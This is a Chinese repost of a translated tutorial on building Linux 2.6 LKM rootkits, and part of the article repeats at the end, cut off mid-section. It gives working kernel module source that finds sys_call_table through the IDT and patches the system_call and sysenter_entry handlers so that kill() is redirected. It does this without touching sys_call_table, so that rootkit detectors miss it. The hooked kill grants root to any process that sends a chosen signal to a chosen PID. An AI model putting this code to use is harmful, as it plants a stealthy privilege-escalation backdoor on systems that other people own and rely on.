转载自水木KernelTech版。
关于hack系统调用表的一篇文章,里面还涉及了上学期ICS Lab中的二进制代码注入,很好很强大。
略作整理(为什么技术博客默认的字体不是等宽的 T.T)
=-|================================================-{ www.enye-sec.org }-====|
=-[ LKM Rootkits on Linux x86 v2.6 ]-========================================|
=-|==========================================================================|
=-[ por RaiSe <[email protected]> ]-========================-[ 26/09/2005]-=|
=-[ 译者:王耀 <[email protected]> ]-======================-[ 24/02/2008]-=|
注:原文是西班牙文,所以翻译比较吃力,所以有些地方是我按照自己理解来翻译的。
原文: http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt
------[ 0.- 索引 ]
0.- 索引
1.- 序言
2.- LKM rootkits的历史
3.- v2.4 和 v2.6内核之间的区别
3.1.- 编译
3.2.- sys_call_table 符号
4.- 修改 system_call handler
5.- 修改 sysenter_entry handler
6.- 一个修改handler实现hook SYS_kill的例子
7.- 结束
------[ 1.- 序言 ]
本文描述了2.4内核和2.6内核中LKM的区别。这里还饶有兴致的讲述了LKM rootkit的历史,并且介绍了一种新的方法实现一个能够避开现有一些检测的rootkit。
本文是基于Linux下LKM的,你至少应该对linux module编程有所了解,这里不是要写一个圣经之类的东西,只不过是一个rootkit的小练习。
------[ 2.- LKM rootkits 的历史]
在ring0实现一个LKM rootkit有很多的好处,你可以改变中断表的内容,重定向系统调用,以及任何你想做的事情。因为你已经获得了不受任何限制的权限。
刚开始的时候,第一个LKM Rootkit是通过修改sys_call_table的内容来实现的,所以我们这里通过LKM将系统调用重定向到注入代码中。它可以实现本地提权、隐藏文件、隐藏进程等功能,但是这种方式存在一个问题就是可以很容易实现一个检测器,通过分析sys_call_table,判断其有没有改变来检测出rootkit。
后来出现了一些不同的方法来尝试避免roorkit的检测。例如,在syscall中插入一个jump指令,或者是一些复杂的技术使能够在特定的情况下运行我们的代码。后一个的问题就是我们必须达到System权限(例如,我在phrack中提出了一种通过页错误的方法 -> http://www.phrack.org/show.php?p=61&a=7 )。接下来,我将提出一种简单的方法来重定向系统调用,而不改变sys_call_table和IDT的内容。
下面,我们来看一下2.4内核和2.6内核的区别。
------[ 3.- v2.4 和 v2.6内核之间的区别 ]
我不会在很底层上讨论这些区别,主要是因为:
1>达不到那个知识深度
2>对于实现LKM没有必要了解那些
我的精力将主要集中在rootkit的实践上。
----[ 3.1.- 编译 ]
跃入眼球的第一个区别就是原来moudle是object file(.o),现在便成了kernel object file(.ko),同时编译module的方法也发生了变化。在动手写代码之前,你需要在你的系统上安装有kernel的源码,用来编译(译者注:只需要kernel-headers即可)。
.ko文件的编译会调用kbuild系统,这是2.6下新的特性,他会在编译的过程中加入一些符号。要编译一个printk("hello")的module会像下面一样操作:
注意:在拷贝、粘贴Makefile的时候需要特别主义,要拷贝正确的TAB,如果TAB变成了空格将不能够工作。
---- example.c ----
#include < linux / module.h >
#include < linux / kernel.h >
#include < linux / init.h >
int init_module( void )
{
printk( " hello!\n " );
return ( 0 );
}
void cleanup_module( void )
{
}
MODULE_LICENSE( " GPL " );
---- Makefile ----
obj-m : = example.o
all:
make -C /lib/modules/$(shell uname -r)/build SUBDIRS = $(PWD) modules
在/lib/modules/$(shell uname -r)/ 下,应该有一个指向系统中指向内核源码的build目录(符号链接)。现在执行make,就可以在目录下面看到example.ko了。
----[ 3.2.- sys_call_table 符号]
2.6中另一个重要的不同就是sys_call_table符号不再被导出了。在2.4之前的,你可以直接获得sys_call_table的地址,通过下面的声明:
extern void *sys_call_table[];
2.6中事情稍微有些麻烦,有好几种方法来获得sys_call_table的地址。最简单的就是通过查找System.map,但是有可能这个文件被修改了或者没有更新,等等。因此,我们最好使用其他的办法来在执行时刻"pull"内存(运行时刻查找内核内存,找到sys_call_table的地址)。我使用的方法仅限于x86平台(正如本文讨论的几乎所有的东西),这不是一个优美的idea,但是在很多LKM中得到了应用。
它的实现中包含了改变linux 0x80中断处理函数,因此你应该知道linux下系统调用通过中断0x80来实现的,%eax中存放着系统调用号,%ebx、%ecx等中存放着参数。0x80中断的处理函数是system_call,在arch/i386/kernel/entry.S中定义,其kernel代码如下:
---- arch/i386/kernel/entry.S ----
# system call handler stub
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
cmpl $(nr_syscalls) , %eax
jae syscall_badsys
# system call tracing in operation
testb $_TIF_SYSCALL_TRACE , TI_FLAGS(%ebp)
jnz syscall_trace_entry
syscall_call:
call *sys_call_table( , %eax , 4 )
movl %eax , EAX(%esp) # store the return value
.
我们看到首先保存记录到栈中,接下来进行一些检查,诸如系统调用号是否正确等。我们感兴趣的是:call sys_call_table * (% eax, 4)。这条指令中含有我们想要找的sys_call_table的地址,它的机器码如下:
0xff 0x14 0x85 *address of sys_call_table*
我们要做的是获得int 0x80处理函数(system_call)的地址,但是现在我们只发现了0xff 0x14 0x85,我们获得Handler的地址了吗?我么你应该如何获得handler的地址呢?
很简单,通过IDT。IDT包含了每一个中断的描述符,IDT的地址保存在IDTR寄存器中,它是48位的,格式如下:
47 15 0
| IDT Base Address | IDT Limit |
换一句话说,就是前两个字节是IDT界限,紧接着4个字节是基地址。通过sidt指令可以读取IDTR寄存器的内容,一旦获得来基地址,我们就可以到达IDT中0x80的中断描述符。描述符功64位,格式如下:
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
} ;
也就是说,起始的两个字节和最后的两个字节分别对应着偏移字段的底端和高端,我们可以将它们拼接在一起,获得system_call的地址。整个的实现如下:
---- print_sys_call_table.c ----
#include < linux / types.h >
#include < linux / stddef.h >
#include < linux / unistd.h >
#include < linux / config.h >
#include < linux / module.h >
#include < linux / version.h >
#include < linux / kernel.h >
#include < linux / string .h >
#include < linux / mm.h >
#include < linux / slab.h >
#include < linux / sched.h >
#include < linux / in .h >
#include < linux / skbuff.h >
#include < linux / netdevice.h >
#include < linux / dirent.h >
#include < asm / processor.h >
#include < asm / uaccess.h >
#include < asm / unistd.h >
void * get_system_call( void );
void * get_sys_call_table( void * system_call);
void ** sys_call_table;
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
} ;
int init_module( void )
{
void * s_call;
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);
printk( " sys_call_table: 0x%08x\n " , ( int ) sys_call_table);
return ( - 1 ); /**/ /* NOTES! */
}
void cleanup_module( void ) { /**/ /* null */ }
void * get_system_call( void )
{
unsigned char idtr[ 6 ];
unsigned long base ;
struct idt_descriptor desc;
asm ( " sidt %0 " : " =m " (idtr));
base = * ((unsigned long * ) & idtr[ 2 ]);
memcpy( & desc, ( void * ) ( base + ( 0x80 * 8 )), sizeof (desc));
return (( void * ) ((desc.off_high << 16 ) + desc.off_low));
} /**/ /* ********** fin get_sys_call_table() ********** */
void * get_sys_call_table( void * system_call)
{
unsigned char * p;
unsigned long s_c_t;
int count = 0 ;
p = (unsigned char * ) system_call;
while ( ! (( * p == 0xff ) && ( * (p + 1 ) == 0x14 ) && ( * (p + 2 ) == 0x85 )))
{
p ++ ;
if (count ++ > 500 )
{
count = - 1 ;
break ;
}
}
if (count != - 1 )
{
p += 3 ;
s_c_t = * ((unsigned long * ) p);
}
else
s_c_t = 0 ;
return (( void * ) s_c_t);
} /**/ /* ********* fin get_sys_call_table() ************ */
MODULE_LICENSE( " GPL " );
使用3.1小节中的Makefile编译(将example.o改为print_sys_call_table.o),安装模块(错误时返回-1,看一下输出什么)。syslog输出为:
Sep 25 01:19:58 enye-sec kernel: sys_call_table: 0xc0323d00
我们再看一下:
[raise@enye-sec]$ grep sys_call_table /boot/System.map
c0323d00 D sys_call_table
可见我们的方法工作的非常好。
------[ 4.- 修改 system_call handler ]
下面,我们来寻找一个方法重定向所有你想要hook的系统调用,但是不改变sys_call_table内容和任何系统调用的代码,以及IDT。怎么来实现呢?非常简单,我们只需要修改int 0x80中断处理函数(system_call)中适当的几个字节就可以了。我们自己来管理我们的系统调用,不用担心rootkit检测器能够检测到它。
我们使用的方法非常简单,我们先来复习一下system_call的汇编代码:
---- arch/i386/kernel/entry.S ----
# system call handler stub
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
cmpl $(nr_syscalls) , %eax ---> Those two instrutions will replaced by
jae syscall_badsys ---> Our Own jump
# system call tracing in operation
testb $_TIF_SYSCALL_TRACE , TI_FLAGS(%ebp)
jnz syscall_trace_entry
syscall_call:
call *sys_call_table( , %eax , 4 )
movl %eax , EAX(%esp) # store the return value
.
我们应该插入一个jump指令,我认为最好的地方在 GET_THREAD_INFO(%ebp) 和 testb
$_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp) 之间。这之间的正好是判断系统调用号,跳转到syscall_badsys。$(nr_syscalls)的定义如下:
#define nr_syscalls ((syscall_table_size)/4)
表示系统调用号码的最大值(0x112)。“cmpl $(nr_syscalls), %eax”指令占5字节,“jae
syscall_badsys”指令占6字节。这里有11个字节的空间来放入我们自己的跳转代码。最直接的方法就是用
pushl 我们的地址,接着一个 ret 来覆盖,总共需要6字节。我们将放在cmpl指令的开始处。
我们一旦获得系统的控制权(一个程序可以运行了int 0x80,执行了pushl,到我们自己的代码地址),我们就应该判断nr_syscalls和%eax,一旦%eax大于nr_syscalls,就跳转到syscall_badsys,就像原来的int0x80处理函数一样。
假设系统调用是正常的(%eax<nr_syscalls),接下来是检测是不是我们需要重定向的系统调用。例如,我们想重定向SYS_kill系统调用(系统调用号为37),比用%eax跟37比较,如果相等的话,就应该跳转到我们的系统调用代码(模块中的代码)。
如果系统调用不是我们想hook的,那么就返回到控制处理函数中,就像什么都没有发生。事实上现在系统在我们的控制中,我们能够调用原来的系统调用(通过跳转到syscall_call)。
不用担心这些理论的东西,本文后面,将会有一个hook kill系统调用的例子,那个时候你将会看到所有的细节。
------[ 5.- 修改 sysenter_entry handler ]
重写int 0x80处理函数的方法不能够完全解决问题,2.6内核之后,跟libc一起,不再使用int 0x80来调用系统调用了,而是使用了一个特殊的指令 sysenter(2字节:0x0f 0x34),它将会调用 “sysenter_entry”函数。这个函数实际上跟“system_call”一样,但是不再访问IDT了,因此节省了一些时间。也就是说,依靠libc的程序不再使用0x80中断处理函数来执行syscall了,而是使用sysenter。
译者注:出于兼容性和其它的一些考虑,2.6内核没有放弃INT 0x80的系统调用方式。对于那些出现在系统调用的嵌套过程中的系统调用(read、open、close、brk等)仍然使用中断方式,其他系统调用均使用SYSENTER方式。
下面,我们来看一下sysenter_entry函数:
---- arch/i386/kernel/entry.S ----
# sysenter call handler stub
ENTRY(sysenter_entry)
movl TSS_ESP0_OFFSET(%esp) , %esp
sysenter_past_esp:
sti
pushl $(__USER_DS)
pushl %ebp
pushfl
pushl $(__USER_CS)
pushl $SYSENTER_RETURN
/*
* Load the potential sixth argument from user stack.
* Careful about security.
*/
cmpl $__PAGE_OFFSET- 3 , %ebp
jae syscall_fault
1 : movl (%ebp) , %ebp
.section __ex_table , " a "
.align 4
.long 1b , syscall_fault
.previous
pushl %eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
cmpl $(nr_syscalls) , %eax ---> Those two instrutions will replaced by
jae syscall_badsys ---> Our Own jump
testb $_TIF_SYSCALL_TRACE , TI_FLAGS(%ebp)
jnz syscall_trace_entry
call *sys_call_table( , %eax , 4 )
movl %eax , EAX(%esp)
.
正如我们看到的函数的内部实现,最后它也是跳转到sys_call_table中:call *sys_call_table(,%eax,4)。
之前的,在栈中保存记录也跟int 0x80的处理函数一模一样。因此,我们完全可以使用同样的方法来处理这个处理函数,加上一个跳转,跳转到我们代码。
不同就在于如何获得sysenter_entry的地址。不像sys_call_table,sysenter_entry是被导出的,我们可以通过下面的命令来获得:
[raise@enye-sec]$ grep sysenter_entry /proc/kallsyms
c010af50 t sysenter_entry
一定存在一种方法,使得能够在module中读取这个值,但是我笨得像一头驴,不能够找到一个函数来读取这个内核符号。如果有人知道怎么做的话,请告诉我:[email protected]。我使用的方法是通过Makefile脚本来读取这个符号,非常高兴说,这个方法工作的很好!
译者注:我们可以通过在内核空间里面打开/proc/kallsyms,搜索"sysenter_entry"来获得这个符号地址。
---read_kallsyms---
/**/ /* *
* read_kallsyms - find sysenter address in /proc/kallsyms.
*
* success return the sysenter address,failed return 0.
*/
#define SYSENTER_ENTRY "sysenter_entry"
int read_kallsyms( void )
{
mm_segment_t old_fs;
ssize_t bytes;
struct file * file = NULL;
char * p,temp[ 20 ];
int i = 0 ;
file = filp_open(PROC_HOME,O_RDONLY, 0 );
if ( ! file)
return - 1 ;
if ( ! file -> f_op -> read)
return - 1 ;
old_fs = get_fs();
set_fs(get_ds());
while ((bytes = file -> f_op -> read(file,read_buf,BUFF, & file -> f_pos))) {
if (( p = strstr(read_buf,SYSENTER_ENTRY)) != NULL) {
while ( * p -- )
if ( * p == ' \n ' )
break ;
while ( * p ++ != ' ' ) {
temp[i ++ ] = * p;
}
temp[ -- i] = ' \0 ' ;
sysenter = simple_strtoul(temp,NULL, 16 );
#if DEBUG == 1
printk( " sysenter: 0x%8x\n " ,sysenter);
#endif
break ;
}
}
filp_close(file,NULL);
return 0 ;
}
------[ 6.- 一个修改handler实现hook SYS_kill的例子 ]
这里是一个简单的例子,描述了如何修改system_call和sysenter_entry处理函数,实现重定向SYS_kill系统调用,实现本地提升权限,而不被rootkit检测器检测到。在拷贝、粘贴代码之前,最好完全理解了函数的实现。
rootkit中有两个跳转,一个在int 0x80的处理函数(system_call)中,一个在sysenter的处理函数(sysenter_entry)中。
这些跳转的指令在rootkit中分别保存在idt_handler[]和sysenter_entry[]数组中。
这两个数组很相似,我们通过覆盖数组中的某几个字节,来重定向到一个地址,实现对kill函数的hook。
char idt_handler[]= // (sysenter_handler is the same)
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x12\x01\x00\x00\x73\x02"
"\xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x06\x68\x90\x90"
"\x90\x90\xc3\xff\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3";
下面来详细看一下这些机器码:
* "\x90\x90\x90\x90\x90\x90\x90\x90\x90":
- 9 条 nop指令, 为了安全起见,我们跳到第5个nop指令(从原先的处理函数中跳转)。
译者注:其实这个没有必要,感觉想缓冲区溢出中的shellcode一样,因为这里是精确跳转,可以不用填充nop指令
* "\x3d\x12\x01\x00\x00" = 'cmp $0x112,%eax' :
-- 判断系统调用号是否正确。
* "\x73\x02" = 'jae +2' :
-- 如果 %eax>=0x122,那么跳过下面的2个字节的指令,调到pushl+ret处,即执行错误系统调用处理函数
* "\xeb\x06" = 'jmp +6' :
-- 跳过下面的2条指令(push + ret,共6字节)。
* "\x68\x90\x90\x90\x90\xc3" = 'pushl 0x90909090' 'ret' :
-- 这里0x90909090表示的地址是原先处理函数中syscall_badsys的地址。
* "\x83\xf8\x25" = 'cmp $0x25,%eax' :
-- 检测系统调用是否是我们想要重定向的 SYS_kill(0x25) 系统调用
* "\x74\x06" = 'je +6' :
-- 如果是跳过下面的2条指令(push + ret,共6字节)。
* "\x68\x90\x90\x90\x90\xc3" = 'pushl 0x90909090' 'ret' :
-- 这里 0x0909090 表示的地址是原先处理函数中"call *sys_call_table(,%eax,4)"指令的地址,即 syscall_call的地址。系统调用不是我们想要hook的kill系统调用时,我们应该将控制返回到中断处理函数中,为了不影响系统调用的执行,我们应该跳转到 syscall_call。
* "\xff\x15\x90\x90\x90\x90" = 'call *0x90909090' :
-- 这里,系统调用是 SYS_kill,因此我们需要跳转到我们自己的代码hacked_kill()中。0x90909090表示的地址就是函数hacked_kill()的地址。
* "\x68\x90\x90\x90\x90\xc3" = 'pushl 0x90909090' 'ret' :
-- 在执行完我们自己的系统调用之后,我们必须将控制权交还给系统,因此0x90909090表示的地址指向的“call sys_call_table * (% eax, 4)”之后的指令,我们称之为after_call。
* 结束 :).
译者注:直接看机器码实在是有些乱,还是整理成汇编代码看着比较清楚:
idt_handler:
cmp $0x112 , %eax
jae + 2
jmp + 6
pushl $addr1 ; addr1:syscall_badsys
ret
cmp $0x25 , %eax
je + 6
pushl $addr2 ; addr2:syscall_call
ret
call *$addr3 ; addr3:hacked_kill
pushl $addr4 ; addr4:after_call
ret
这样我们对于上面的机器代码的流程应该就比较清楚了。
###############################################################################
<system_call>:
push %eax
..
..
cmp $0x137 , %eax -->push address_of(new_idt) --------|
jae c0103e98 <syscall_badsys> -->ret |
|
<syscall_call>: <----------------------------------------| |
call *0xc02cf4c0( , %eax , 4 ) | |
mov %eax , 0x18(%esp) <----------------------- | |
<syscall_exit>: | | |
cli | | |
.. | | |
| | |
.. | | |
| | |
<syscall_badsys>: | | |
.. | | |
| | |
<new_idt>: <-------------------------------------|----|-----------------------|
cmp $0x112 , %eax | |
jae + 2 | |
|--jmp + 6 | |
| pushl $addr1 <-- addressof(syscall_badsys) | |
| ret | |
| | |
| /*Hooked kill function*/ | |
-->cmp $0x25 , %eax | |
---je + 6 | |
| pushl $addr2 <-- addressof(syscall_call) ------|----|
| ret |
| |
|->call *addr3 <-- addressof(hooked_kill) |
|
pushl $addr4 <-- addressof(after_call) ------|
ret
#####################################################################################
我希望我已经讲述清楚了。下面是你想要的完整的LKM的代码,我没有给出unistall的实现,所以结束的唯一方法就是重启系统。
译者注:可以备份system_call和sysenter_entry中被修改的地址和内容,在cleanup_module中,将其进行还原,就可以了。
注意:在拷贝、粘贴Makefile的时候需要特别主义,要拷贝正确的TAB,如果TAB变成了空格将不能够工作。
---- Makefile ----
obj-m : = example_handlers_syskill.o
S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8 `
all:
@echo
@echo " ------------------------------------------ "
@echo " LKM (SYS_kill) modified with handlers "
@echo " [email protected] | www.enye-sec.org "
@echo " ------------------------------------------ "
@echo
@echo " #define DSYSENTER $(S_ENT) " > sysenter.h
make -C /lib/modules/$(shell uname -r)/build SUBDIRS = $(PWD) modules
clean:
@echo
@echo " ------------------------------------------ "
@echo " LKM (SYS_kill) con handlers modificados "
@echo " [email protected] | www.enye-sec.org "
@echo " ------------------------------------------ "
@echo
@rm -f *.o *.ko *.mod.c .*.cmd sysenter.h
make -C /lib/modules/$(shell uname -r)/build SUBDIRS = $(PWD) clean
---- example_handlers_syskill.c ----
/**/ /*
* Example of LKM x86 kernel 2.6.x changing handlers:
*
* - system_call
* - sysenter_entry
*
* Once loaded to obtain local root run:
*
* # kill -s SIG PID
*
* SIG and PID can be changed by modify #define
*
*
* RaiSe <[email protected]>
* eNYe Sec - http://www.enye-sec.org
*
*/
#include < linux / types.h >
#include < linux / stddef.h >
#include < linux / unistd.h >
#include < linux / config.h >
#include < linux / module.h >
#include < linux / version.h >
#include < linux / kernel.h >
#include < linux / string .h >
#include < linux / mm.h >
#include < linux / slab.h >
#include < linux / sched.h >
#include < linux / in .h >
#include < linux / skbuff.h >
#include < linux / netdevice.h >
#include < linux / dirent.h >
#include < asm / processor.h >
#include < asm / uaccess.h >
#include < asm / unistd.h >
#include " sysenter.h "
#define IDT 0
#define SYSENT 1
#define ORIG_BADSYS 19
#define SYSCALL_CALL 30
#define JUMP 5
#define HACKEDCALL 37
#define AFTER_CALL 42
#define SIG 58
#define PID 12345
/**/ /* Save the patched mem of idt and sysenter */
#define PATCHED_SIZE_MAX 10
void * start_patch_idt, * start_patch_sysenter;
unsigned char orig_idt[PATCHED_SIZE_MAX], orig_sysenter[PATCHED_SIZE_MAX];
/**/ /* a orignal syscall pointer */
int ( * orig_kill)(pid_t pid, int sig);
/**/ /* globales variables */
unsigned long orig_bad_sys[ 2 ], syscall_call[ 2 ];
unsigned long after_call[ 2 ], p_hacked_kill;
void * sysenter_entry;
void ** sys_call_table;
/**/ /* function pointer */
void * get_system_call( void );
void * get_sys_call_table( void * system_call);
void set_idt_handler( void * system_call);
void set_sysenter_handler( void * sysenter);
int hacked_kill(pid_t pid, int sig);
/**/ /* structure */
struct idt_descriptor
{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
} ;
/**/ /* handlers */
char idt_handler[] =
" \x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x12\x01\x00\x00\x73\x02 "
" \xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x06\x68\x90\x90 "
" \x90\x90\xc3\xff\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3 " ;
char sysenter_handler[] =
" \x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x12\x01\x00\x00\x73\x02 "
" \xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x06\x68\x90\x90 "
" \x90\x90\xc3\xff\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3 " ;
int init_module( void )
{
void * s_call;
sysenter_entry = ( void * ) DSYSENTER;
s_call = get_system_call();
sys_call_table = get_sys_call_table(s_call);
set_idt_handler(s_call);
set_sysenter_handler(sysenter_entry);
p_hacked_kill = (unsigned long ) hacked_kill;
orig_kill = sys_call_table[__NR_kill];
return ( 0 );
}
void cleanup_module( void )
{
memcpy(start_patch_idt, orig_idt, 6 );
memcpy(start_patch_sysenter, orig_sysenter, 6 );
}
void * get_system_call( void )
{
unsigned char idtr[ 6 ];
unsigned long base ;
struct idt_descriptor desc;
asm ( " sidt %0 " : " =m " (idtr));
base = * ((unsigned long * ) & idtr[ 2 ]);
memcpy( & desc, ( void * ) ( base + ( 0x80 * 8 )), sizeof (desc));
return (( void * ) ((desc.off_high << 16 ) + desc.off_low));
} /**/ /* ********** fin get_sys_call_table() ********** */
void * get_sys_call_table( void * system_call)
{
unsigned char * p;
unsigned long s_c_t;
p = (unsigned char * ) system_call;
/**/ /* Search "call *sys_call_table(,%eax,4)" */
while ( ! (( * p == 0xff ) && ( * (p + 1 ) == 0x14 ) && ( * (p + 2 ) == 0x85 )))
p ++ ;
p += 3 ;
s_c_t = * ((unsigned long * ) p);
p += 4 ;
after_call[IDT] = (unsigned long ) p;
return (( void * ) s_c_t);
} /**/ /* ********* fin get_sys_call_table() ************ */
void set_idt_handler( void * system_call)
{
unsigned char * p;
unsigned long offset, * p2;
p = (unsigned char * ) system_call;
/**/ /* Seek "jae syscall_badsys" */
while ( ! (( * p == 0x0f ) && ( * (p + 1 ) == 0x83 )))
p ++ ;
start_patch_idt = p - 5 ;
memcpy(orig_idt, start_patch_idt , 6 );
p += 2 ;
offset = * ((unsigned long * ) p);
/**/ /* orig_bad_sys[IDT] = (unsigned long)((p-2) + offset + 6); */
/**/ /* Use offset, Can be OK! */
orig_bad_sys[IDT] = (unsigned long )offset;
syscall_call[IDT] = (unsigned long )((p - 2 ) + 6 );
p = (unsigned char * )(syscall_call[IDT] - 0xb );
* p ++ = 0x68 ;
p2 = (unsigned long * ) p;
* p2 ++ = (unsigned long ) (( void * ) & idt_handler[JUMP]);
p = (unsigned char * ) p2;
* p = 0xc3 ;
p = idt_handler;
* ((unsigned long * )(( void * ) p + ORIG_BADSYS)) = orig_bad_sys[IDT];
* ((unsigned long * )(( void * ) p + SYSCALL_CALL)) = syscall_call[IDT];
* ((unsigned long * )(( void * ) p + HACKEDCALL)) = (unsigned long ) & p_hacked_kill;
* ((unsigned long * )(( void * ) p + AFTER_CALL)) = after_call[IDT];
} /**/ /* ********* fin set_idt_handler() ********** */
void set_sysenter_handler( void * sysenter)
{
unsigned char * p;
unsigned long * p2;
p = (unsigned char * ) sysenter;
/**/ /* Seek "call *sys_call_table(,%eax,4)" */
while ( ! (( * p == 0xff ) && ( * (p + 1 ) == 0x14 ) && ( * (p + 2 ) == 0x85 )))
p ++ ;
p += 7 ;
after_call[SYSENT] = (unsigned long ) p;
p = (unsigned char * ) sysenter;
/**/ /* Search "cmp 0x112,%eax" */
while ( ! (( * p == 0x3d ) && ( * (p + 1 ) == 0x12 ) && ( * (p + 2 ) == 0x01 )
&& ( * (p + 3 ) == 0x00 )))
p ++ ;
p += 11 ;
orig_bad_sys[SYSENT] = orig_bad_sys[IDT];
syscall_call[SYSENT] = (unsigned long )(p);
p = (unsigned char * )(syscall_call[SYSENT] - 0xb );
start_patch_sysenter = p;
memcpy(orig_sysenter, start_patch_sysenter, 6 );
* p ++ = 0x68 ;
p2 = (unsigned long * ) p;
* p2 ++ = (unsigned long ) (( void * ) & sysenter_handler[JUMP]);
p = (unsigned char * ) p2;
* p = 0xc3 ;
p = sysenter_handler;
* ((unsigned long * )(( void * ) p + ORIG_BADSYS)) = orig_bad_sys[SYSENT];
* ((unsigned long * )(( void * ) p + SYSCALL_CALL)) = syscall_call[SYSENT];
* ((unsigned long * )(( void * ) p + HACKEDCALL)) = (unsigned long ) & p_hacked_kill;
* ((unsigned long * )(( void * ) p + AFTER_CALL)) = after_call[SYSENT];
} /**/ /* ********* fin set_sysenter_handler() ********** */
int hacked_kill(pid_t pid, int sig)
{
struct task_struct * ptr = current;
int tsig = SIG, tpid = PID, ret_tmp;
if ((tpid == pid) && (tsig == sig))
{
ptr -> uid = 0 ;
ptr -> euid = 0 ;
ptr -> gid = 0 ;
ptr -> egid = 0 ;
return ( 0 );
}
else
{
ret_tmp = ( * orig_kill)(pid, sig);
return (ret_tmp);
}
return ( - 1 );
} /**/ /* ********* fin hacked_kill *********** */
/**/ /* Liensece GPL */
MODULE_LICENSE( " GPL " );
------[ 7.- 结束 ]
我希望你已经明白了2.6内核下如何实现一个rootkit。很快将会在 http://www.enye-sec.org 上公布一个LKM Rootkit,支持完整的系统调用重定向,不仅仅是重定向kill系统调用;另外还有加载模块的自隐藏等功能。
再见 :).
RaiSe <[email protected]>
=-|================================================================ EOF =====|
关于hack系统调用表的一篇文章,里面还涉及了上学期ICS Lab中的二进制代码注入,很好很强大。
略作整理(为什么技术博客默认的字体不是等宽的 T.T)
=-|================================================-{ www.enye-sec.org }-====|
=-[ LKM Rootkits on Linux x86 v2.6 ]-========================================|
=-|==========================================================================|
=-[ por RaiSe <[email protected]> ]-========================-[ 26/09/2005]-=|
=-[ 译者:王耀 <[email protected]> ]-======================-[ 24/02/2008]-=|
注:原文是西班牙文,所以翻译比较吃力,所以有些地方是我按照自己理解来翻译的。
原文: http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt
------[ 0.- 索引 ]
0.- 索引
1.- 序言
2.- LKM rootkits的历史
3.- v2.4 和 v2.6内核之间的区别
3.1.- 编译
3.2.- sys_call_table 符号
4.- 修改 system_call handler
5.- 修改 sysenter_entry handler
6.- 一个修改handler实现hook SYS_kill的例子
7.- 结束
------[ 1.- 序言 ]
本文描述了2.4内核和2.6内核中LKM的区别。这里还饶有兴致的讲述了LKM rootkit的历史,并且介绍了一种新的方法实现一个能够避开现有一些检测的rootkit。
本文是基于Linux下LKM的,你至少应该对linux module编程有所了解,这里不是要写一个圣经之类的东西,只不过是一个rootkit的小练习。
------[ 2.- LKM rootkits 的历史]
在ring0实现一个LKM rootkit有很多的好处,你可以改变中断表的内容,重定向系统调用,以及任何你想做的事情。因为你已经获得了不受任何限制的权限。
刚开始的时候,第一个LKM Rootkit是通过修改sys_call_table的内容来实现的,所以我们这里通过LKM将系统调用重定向到注入代码中。它可以实现本地提权、隐藏文件、隐藏进程等功能,但是这种方式存在一个问题就是可以很容易实现一个检测器,通过分析sys_call_table,判断其有没有改变来检测出rootkit。
后来出现了一些不同的方法来尝试避免roorkit的检测。例如,在syscall中插入一个jump指令,或者是一些复杂的技术使能够在特定的情况下运行我们的代码。后一个的问题就是我们必须达到System权限(例如,我在phrack中提出了一种通过页错误的方法 -> http://www.phrack.org/show.php?p=61&a=7 )。接下来,我将提出一种简单的方法来重定向系统调用,而不改变sys_call_table和IDT的内容。
下面,我们来看一下2.4内核和2.6内核的区别。
------[ 3.- v2.4 和 v2.6内核之间的区别 ]
我不会在很底层上讨论这些区别,主要是因为:
1>达不到那个知识深度
2>对于实现LKM没有必要了解那些
我的精力将主要集中在rootkit的实践上。
----[ 3.1.- 编译 ]
跃入眼球的第一个区别就是原来moudle是object file(.o),现在便成了kernel object file(.ko),同时编译module的方法也发生了变化。在动手写代码之前,你需要在你的系统上安装有kernel的源码,用来编译(译者注:只需要kernel-headers即可)。
.ko文件的编译会调用kbuild系统,这是2.6下新的特性,他会在编译的过程中加入一些符号。要编译一个printk("hello")的module会像下面一样操作:
注意:在拷贝、粘贴Makefile的时候需要特别主义,要拷贝正确的TAB,如果TAB变成了空格将不能够工作。
---- example.c ----
#include < linux / module.h >
#include < linux / kernel.h >
#include < linux / init.h >
int init_module( void )
{
printk( " hello!\n " );
return ( 0 );
}
void cleanup_module( void )
{
}
MODULE_LICENSE( " GPL " );
---- Makefile ----
obj-m : = example.o
all:
make -C /lib/modules/$(shell uname -r)/build SUBDIRS = $(PWD) modules
在/lib/modules/$(shell uname -r)/ 下,应该有一个指向系统中指向内核源码的build目录(符号链接)。现在执行make,就可以在目录下面看到example.ko了。
----[ 3.2.- sys_call_table 符号]
2.6中另一个重要的不同就是sys_call_table符号不再被导出了。在2.4之前的,你可以直接获得sys_call_table的地址,通过下面的声明:
extern void *sys_call_table[];
2.6中事情稍微有些麻烦,有好几种方法来获得sys_call_table的地址。最简单的就是通过查找System.map,但是有可能这个文件被修改了或者没有更新,等等。因此,我们最好使用其他的办法来在执行时刻"pull"内存(运行时刻查找内核内存,找到sys_call_table的地址)。我使用的方法仅限于x86平台(正如本文讨论的几乎所有的东西),这不是一个优美的idea,但是在很多LKM中得到了应用。
它的实现中包含了改变linux 0x80中断处理函数,因此你应该知道linux下系统调用通过中断0x80来实现的,%eax中存放着系统调用号,%ebx、%ecx等中存放着参数。0x80中断的处理函数是system_call,在arch/i386/kernel/entry.S中定义,其kernel代码如下:
---- arch/i386/kernel/entry.S ----
